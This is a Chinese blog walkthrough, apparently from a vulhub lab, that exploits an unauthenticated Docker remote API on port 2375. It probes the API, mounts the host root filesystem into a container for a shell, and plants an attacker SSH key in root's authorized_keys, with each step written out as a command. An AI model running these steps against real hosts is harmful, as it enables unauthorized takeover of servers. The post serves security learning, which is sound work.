首页 > 其他分享 >漏洞复现-docker未授权rce

漏洞复现-docker未授权rce

时间:2023-02-16 16:36:07浏览次数:36  
标签:kali 漏洞 API 复现 2375 rce docker ssh

0x00 实验环境

攻击机:Ubuntu

靶场:vulhub搭建的靶场环境

 

0x01 影响版本

 docker API(1.37及其他版本)未授权访问漏洞,开放2375监听容器时,会调用这个API,方便docker集群管理和扩展。

 

0x02 漏洞复现

(1)通过nmap探测开放端口2375,测试链接:若能访问,说明存在此漏洞

http://xxx:2375/version

  

 (2)访问:

http://xxx:2375/info

发现存在以下未授权页面:

 (3)kali上安装docker环境并启动docker:

apt-get install docker docker-compose

service docker start

 

(4)使用命令:

docker -H tcp://xxx:2375 images

可以获取其docker拉取且正在运行的镜像文件:

 

docker -H tcp://IP:2375 version 查看版本

 

 

 (5)获取容器的shell:

docker -H tcp://xxx:2375 run -it -v /:/mnt 容器ID号 /bin/bash

 

 

 (6)大概就是将自己kali的公钥写入到他这个挂载的authorized_keys文件内,然后再用自己的kali连接即可:

首先,自己的kali要生成公钥:

ssh-keygen -t rsa # 一直回车即可
cd .ssh
cat authorized_keys.pub 

 

 

(7)然后复制id_rsa.pub的内容到容器的/mnt/root/.ssh下的authorized_keys即可:

 

 

echo XXX(内容)>authorized_keys

 改不了权限,无法,然后后面的就很清晰的,写入公钥直接连即可,因为实战环境没有权限,所以没有后续操作。

(8)ssh root@IP 即可成功连接

 

0x03 漏洞原理

开放2375监听容器时,会调用这个API,方便docker集群管理和扩展,此API主要目的是取代命令执行页面。

 

0x04 参考文献

https://keanes.blog.csdn.net/article/details/127998966

 

0x05 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

标签:kali,漏洞,API,复现,2375,rce,docker,ssh
From: https://www.cnblogs.com/cute-puli/p/17127226.html

相关文章

  • docker常用命令
    拉取镜像:dockerpullxxxx(镜像地址) 进入docker并挂载到/data/jenkins/dockerrun-it-v/data/xxx:/data/xxxx xxx(镜像地址) bash 退出docker之后,通过dockerps......
  • Nastools docker版 无法访问 占用极大
    最近nastools自动升级到v2.9.2后就无法访问了查看日志发现升级后的版本可能依赖pikpakapi模块,xvfb进程反复重启,占用极大,甚至docker进程都卡死掉了,无法停止或重启"xvfb......
  • docker离线安装mysql镜像
    docker离线安装mysql镜像1、拷贝mysql离线包安装包地址:链接:https://pan.baidu.com/s/13JfkqlkIMglo3tHImOUm_w密码:622t1.1、将mysql-57.gz安装文件拷贝......
  • docker-compose搭建redis-Cluster集群
    环境选择三台机器创建相同目录级:/database/redis/在目录里创建文件:viredis-cluster.tmpl查看防火墙--如果防火墙的状态是打开的记得开端口文件配置redis-clust......
  • 使用docker部署Python-Flask实现ChatGPT的使用
    首先说下背景:自从申请ChatGPT到现在也有个把月了,余额一直还很多,想想三月下旬就过期了,还是计划把里面的18美刀用掉,于是结合着之前做的Django简单cv一个"简易网站"。简......
  • Docker-应用部署案例
    1、Docker部署mysql拉取mysql镜像#查询mysql镜像dockersearchmysql#拉取镜像命令dockerpullcentos/mysql-57-centos7创建容器dockerrun-di--name=tes......
  • 2023云原生开发者真实现状:K8s居容器榜首,Docker冲顶技术热词,微服务热度不减
    在数字化转型浪潮下,企业上云已成为企业和政府的普遍共识,云原生开发者迎来了最好的时代。从云原生概念提出后的爆炸式增长,到近年来进入稳定期,开发者也逐渐在各个技术领域中......
  • 拦截器HandlerInterceptorAdapter使用方法
    原文链接:https://blog.csdn.net/kuishao1314aa/article/details/109777304一、Interceptor定义:拦截器是在面向切面编程中应用的,就是在你的service或者一个方法前调用一个......
  • centos离线安装docker
    转载自:https://blog.csdn.net/weixin_45107899/article/details/125503680===========================一、步骤1.安装包官方地址:https://download.docker.com/linux/st......
  • 记录一次线上docker排查服务cpu过高的操作
    线上CPU飙升,排查问题docker运行的mysql要在容器内找到线程ID进入docker容器dockerexec-it 容器IDbash容器内没有top命令,基于centos安装apt-getupdateapt-get......